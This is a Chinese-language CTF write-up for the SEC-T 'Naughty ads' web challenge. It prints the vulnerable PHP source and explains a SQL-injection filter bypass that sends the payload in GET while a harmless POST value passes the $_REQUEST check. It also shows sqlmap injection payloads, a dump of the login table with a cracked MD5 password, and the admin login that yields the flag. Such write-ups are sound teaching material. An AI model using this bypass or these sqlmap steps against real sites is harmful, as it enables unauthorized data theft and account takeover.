[SEC-T CTF] - Naughty ads (Web 200)

題目資訊

Can you put agent Gill in the naughty ad section? His phone number is “555-31338”

Service: http://naughtyads.alieni.se/

Author: avlidienbrunn

解法

直接試了 robots.txt 得到:

1
2
3
User-agent: *
Disallow: /admin
Disallow: /*.phps

看到 phps 感覺就是能拿到源碼,嘗試 index.phps 得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
require_once 'lib.php';
header('X-XSS-Protection: 0');
$cols = array(
"e8c4-437b-9476",
"849e-416e-acf7",
"7f9d-470f-8698",
"c8bb-4695-93f7",
"5fbc-4729-8821",
"3ad3-46c3-b975",
"f44f-4cc9-a5e0",
"0c3f-42c8-a0ae"
);
if(isset($_REQUEST['id'])){
if(preg_match("/'(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['id'])){
die("Attack detected!!!");
}
$ad = get_ad($_GET['id']);
?>
<HTML>
<HEAD>
<TITLE>NAUGHTY ADS ©1994</TITLE>
</HEAD>
<BODY BGCOLOR="WHITE">
<CENTER>
<?php echo $ad['description'] ?><br />
<a href="/">Home</a>
</CENTER>
</BODY>
</HTML>
<?php
die;
}
?>
<HTML>
<HEAD>
<TITLE>NAUGHTY ADS ©1994</TITLE>
</HEAD>
<BODY BGCOLOR="WHITE">
<CENTER>
<img class="ads" src="middle.png" width="800" height="600" usemap="#planetmap">
<map name="planetmap">
<area shape="rect" coords="287,93,523,261" href="?id=<?php echo array_pop($cols); ?>" alt="BDSM hookup">
<area shape="rect" coords="542,93,774,261" href="?id=<?php echo array_pop($cols); ?>" alt="Fat fetish">
<area shape="rect" coords="34,282,269,449" href="?id=<?php echo array_pop($cols); ?>" alt="Dirty mistress">
<area shape="rect" coords="292,282,521,449" href="?id=<?php echo array_pop($cols); ?>" alt="Femdom one night stand">
<area shape="rect" coords="545,282,777,449" href="?id=<?php echo array_pop($cols); ?>" alt="Waterboarding extasy">
<area shape="rect" coords="33,468,266,595" href="?id=<?php echo array_pop($cols); ?>" alt="Kinky nightmare">
<area shape="rect" coords="277,456,534,598" href="?id=<?php echo array_pop($cols); ?>" alt="Food fetish">
<area shape="rect" coords="547,466,780,599" href="?id=<?php echo array_pop($cols); ?>" alt="Whip experience">
<area shape="rect" coords="595,23,619,57" href="/admin" alt="Admin">
</map>
</CENTER>
</BODY>
</HTML>

看到preg_match("/'(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['id'])有做 SQL injection 防護,原本一直在想要怎麼繞過,嘗試了一段時間都無法成功。

後來發現被檢查的是 $_REQUEST['id'] ,但 SQL query 用的是 $_GET['id'] ,因此只要同時發送GETPOST資訊就行了。PHP預設是$_REQUEST會包含$_GET$_POST,重複變數時會由$_POST蓋掉$_GET

舉例:

1
2
3
4
5
http://naughtyads.alieni.se/?id=%27%20or%201=1%20%23
post data: id=a
=> $_GET['id'] is ' or 1=1 #
$_POST['id'] is a
$_REQUEST['id'] is a

結果確定可以成功繞過,然後因為很懶就直接交給 sqlmap 去撈資料了XD。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sqlmap -u 'http://naughtyads.alieni.se/?id=0c3f-42c8-a0ae' --data='id=a' -v 3
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=0c3f-42c8-a0ae' AND 3944=3944 AND 'nheG'='nheG
Vector: AND [INFERENCE]
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=0c3f-42c8-a0ae' AND SLEEP(5) AND 'FJQU'='FJQU
Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: id=-3161' UNION ALL SELECT CONCAT(0x71717a7171,0x515a526e724c4a684d5846564d4567624767585558445a57614654624e6e4c6248796772474b634c,0x716b717a71)-- EQgK
Vector: UNION ALL SELECT [QUERY][GENERIC_SQL_COMMENT]

1
2
3
4
5
sqlmap -u 'http://naughtyads.alieni.se/?id=0c3f-42c8-a0ae' --data='id=a' -v 3 --dbs
available databases [2]:
[*] information_schema
[*] naughty
1
2
3
4
5
6
7
8
sqlmap -u 'http://naughtyads.alieni.se/?id=0c3f-42c8-a0ae' --data='id=a' -v 3 -D naughty --tables
Database: naughty
[2 tables]
+-------+
| ads |
| login |
+-------+

看到 login ,想到先前在 robots.txt 看到的,有 admin 的頁面可以登入。把 login table 的資料 dump 出來,發現 password 是經過 md5 hash 的,可以直接用 sqlmap 的字典檔解解看,或是直接上網查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
sqlmap -u 'http://naughtyads.alieni.se/?id=0c3f-42c8-a0ae' --data='id=a' -v 3 -D naughty -T login --dump
[00:33:36] [INFO] analyzing table dump for possible password hashes
[00:33:36] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to crack them via a dictionary-based attack? [Y/n/q]
[00:33:54] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/local/Cellar/sqlmap/1.1.8/libexec/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
[00:34:01] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N]
[00:34:02] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[00:34:02] [INFO] starting 4 processes
[00:34:15] [INFO] cracked password 'secret' for hash '5ebe2294ecd0e0f08eab7690d2a6ee69'
[00:34:17] [INFO] postprocessing table dump
Database: naughty
Table: login
[1 entry]
+----+---------------------+-------------------------------------------+
| id | name | password |
+----+---------------------+-------------------------------------------+
| 1 | webmasterofdoom3755 | 5ebe2294ecd0e0f08eab7690d2a6ee69 (secret) |
+----+---------------------+-------------------------------------------+

用帳號 webmasterofdoom3755 密碼 secret 登入 http://naughtyads.alieni.se/admin/

登入後看到一個上傳表單,上傳欄位有電話、敘述跟圖檔。剛看到時卡住了一下,後來看到 HTML 原始碼裡有貼心提示XD。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<HTML>
<HEAD>
<TITLE>ADMINISTRATIVE AREA</TITLE>
</HEAD>
<BODY>
<FORM ACTION="" METHOD="POST">
Phone number: <INPUT TYPE="TEXT" NAME="phone" PLACEHOLDER="#"/><BR />
Description: <TEXTAREA NAME="description"></TEXTAREA></BR />
Image: <INPUT TYPE="FILE" NAME="image" /><BR />
<INPUT TYPE="SUBMIT" NAME="image" value="upload" /><BR />
</FORM>
<!-- Stuck? Read challenge description again... -->
</BODY>
</HTML>

把電話欄位填 555-31338 後按上傳就能拿到 flag 了。

Flag: SECT{~tr4nsv3stiT3s_w3lc0me_t00~}

感想

現實上很多問題都出在程式前後不一致的地方呢,看來在開發的時候真的要很小心啊!